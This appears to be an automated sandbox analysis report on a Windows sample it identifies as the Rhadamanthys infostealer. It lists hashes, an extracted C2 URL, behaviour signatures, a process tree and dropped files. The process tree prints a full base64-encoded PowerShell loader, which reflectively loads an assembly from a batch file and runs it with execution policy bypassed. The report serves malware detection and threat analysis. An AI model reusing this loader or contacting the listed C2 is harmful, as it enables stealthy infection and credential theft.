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Analysis

  • max time kernel
    104s
  • max time network
    214s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/03/2025, 22:27

General

  • Target

    cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a.exe

  • Size

    521KB

  • MD5

    068c05b9f062da142d266a374866d3bb

  • SHA1

    315726e1015e1e69cf9645bda713f463e93a8755

  • SHA256

    cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a

  • SHA512

    25358882e596ed9299ef714e2168a70e7bceace7fafc9f61e10e2fb58b480b97f31af86ef08e553cfe69546aa8b056b09df696d5fa9e07e2784392e8bbd87156

  • SSDEEP

    12288:xfL5njsVlNucSkkMxi+FAbPr+rr6K+u03mlw0lsp5ie:xfL5njMnOMxw26KY3t0lOAe

Malware Config

Extracted

Family

rhadamanthys

C2

https://216.250.255.115:80/bed1f869ae125/aqbrhghr.uhmsf

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Rhadamanthys family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2608
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:768
    • C:\Users\Admin\AppData\Local\Temp\cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a.exe
      "C:\Users\Admin\AppData\Local\Temp\cce988ce6f528e02009122396aa4149091dbee5fbe8bcaabffaaa88ae02b127a.exe"
      1⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4892
      • C:\Windows\SysWOW64\wscript.exe
        "wscript.exe" "C:\Users\Admin\start.vbs"
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4168
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4540
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\UndLdl.ps1' -Encoding UTF8"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4576
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\UndLdl.ps1"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2056
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              5⤵
                PID:4748
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                5⤵
                  PID:4804
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  5⤵
                    PID:4904
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    5⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4924
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 4924 -s 636
                      6⤵
                      • Program crash
                      PID:1040
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4924 -ip 4924
            1⤵
              PID:4020

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

              Filesize

              1KB

              MD5

              4280e36a29fa31c01e4d8b2ba726a0d8

              SHA1

              c485c2c9ce0a99747b18d899b71dfa9a64dabe32

              SHA256

              e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

              SHA512

              494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              16KB

              MD5

              32f4e2edff37df34d7c9f0cd3c91c134

              SHA1

              9f3392dcaa947b1e8192f50673ac333b8a0e8a60

              SHA256

              4af64fb1aaf129bbad6208f5e5dda31f573cc3b80a81b21f1bdcbb31c60d5ee2

              SHA512

              06383b8986c588417aac3a05b79d27507447f3e2666a2c3651afa48aa283c696818e83d26f3de82ef28f32c5b5c7fa085e130a400569a88f2756d2fe180ac243

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0hvq5oom.ifh.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\UndLdl.ps1

              Filesize

              1KB

              MD5

              6707df486205804693821eebad4c03f3

              SHA1

              fb4e723b632090036463d44e58ecedef4b688958

              SHA256

              cd78d5da40004dbaa8688d97063d1c9b3cee41ba72e8f9152ee38d86cf6efb50

              SHA512

              4b497ee77faeddae306b69a45641ab8f11ebbd9712664a614be009d6ab9632cb05f2025ae9631cb51801a4f6c2e3d48b38082b9b5fca41241ec5a0088c9e88ef

            • C:\Users\Admin\start.vbs

              Filesize

              231B

              MD5

              abe1dd23ab4c11aae54f1898c780c0b5

              SHA1

              bb2f974b3e0af2baa40920b475582bfd4fb28001

              SHA256

              89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12

              SHA512

              e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d

            • C:\Users\Admin\temp.bat

              Filesize

              545KB

              MD5

              1ab2d7cc96ad2b86edf74d5497b45def

              SHA1

              baac72428aaff76788b6e0056b720c6920d0e6f8

              SHA256

              1e23a11308681733cff73f23933670c4350cec867042bbe5f7ff54a6dcc1dd83

              SHA512

              8b5a456b4a4c97e28b6e90735eb9a006e8afbcd3d588e04b7bd3ab24e20ef80e37cc08412cc421c0f465c148f5b1c181ea798585865bd82f9861c1a7351194a1

            • memory/768-61-0x00007FF979E50000-0x00007FF97A045000-memory.dmp

              Filesize

              2.0MB

            • memory/768-60-0x0000000001F70000-0x0000000002370000-memory.dmp

              Filesize

              4.0MB

            • memory/768-63-0x0000000076750000-0x0000000076965000-memory.dmp

              Filesize

              2.1MB

            • memory/768-58-0x00000000001F0000-0x00000000001F9000-memory.dmp

              Filesize

              36KB

            • memory/2056-49-0x0000000000990000-0x000000000099A000-memory.dmp

              Filesize

              40KB

            • memory/2056-48-0x00000000070F0000-0x00000000071AC000-memory.dmp

              Filesize

              752KB

            • memory/2056-46-0x0000000007620000-0x0000000007BC4000-memory.dmp

              Filesize

              5.6MB

            • memory/2056-45-0x0000000006490000-0x00000000064B2000-memory.dmp

              Filesize

              136KB

            • memory/2056-44-0x0000000006F10000-0x0000000006FA6000-memory.dmp

              Filesize

              600KB

            • memory/2056-41-0x00000000058E0000-0x0000000005C34000-memory.dmp

              Filesize

              3.3MB

            • memory/4576-10-0x00000000058E0000-0x0000000005902000-memory.dmp

              Filesize

              136KB

            • memory/4576-9-0x0000000005A50000-0x0000000006078000-memory.dmp

              Filesize

              6.2MB

            • memory/4576-12-0x0000000006130000-0x0000000006196000-memory.dmp

              Filesize

              408KB

            • memory/4576-6-0x000000007482E000-0x000000007482F000-memory.dmp

              Filesize

              4KB

            • memory/4576-26-0x0000000006BC0000-0x0000000006BDA000-memory.dmp

              Filesize

              104KB

            • memory/4576-25-0x0000000007FC0000-0x000000000863A000-memory.dmp

              Filesize

              6.5MB

            • memory/4576-24-0x00000000066C0000-0x000000000670C000-memory.dmp

              Filesize

              304KB

            • memory/4576-23-0x0000000006680000-0x000000000669E000-memory.dmp

              Filesize

              120KB

            • memory/4576-30-0x0000000074820000-0x0000000074FD0000-memory.dmp

              Filesize

              7.7MB

            • memory/4576-22-0x00000000061A0000-0x00000000064F4000-memory.dmp

              Filesize

              3.3MB

            • memory/4576-11-0x00000000059E0000-0x0000000005A46000-memory.dmp

              Filesize

              408KB

            • memory/4576-7-0x00000000052B0000-0x00000000052E6000-memory.dmp

              Filesize

              216KB

            • memory/4576-8-0x0000000074820000-0x0000000074FD0000-memory.dmp

              Filesize

              7.7MB

            • memory/4924-52-0x0000000000400000-0x000000000048B000-memory.dmp

              Filesize

              556KB

            • memory/4924-55-0x00007FF979E50000-0x00007FF97A045000-memory.dmp

              Filesize

              2.0MB

            • memory/4924-54-0x0000000003D00000-0x0000000004100000-memory.dmp

              Filesize

              4.0MB

            • memory/4924-53-0x0000000003D00000-0x0000000004100000-memory.dmp

              Filesize

              4.0MB

            • memory/4924-50-0x0000000000400000-0x000000000048B000-memory.dmp

              Filesize

              556KB

            • memory/4924-57-0x0000000076750000-0x0000000076965000-memory.dmp

              Filesize

              2.1MB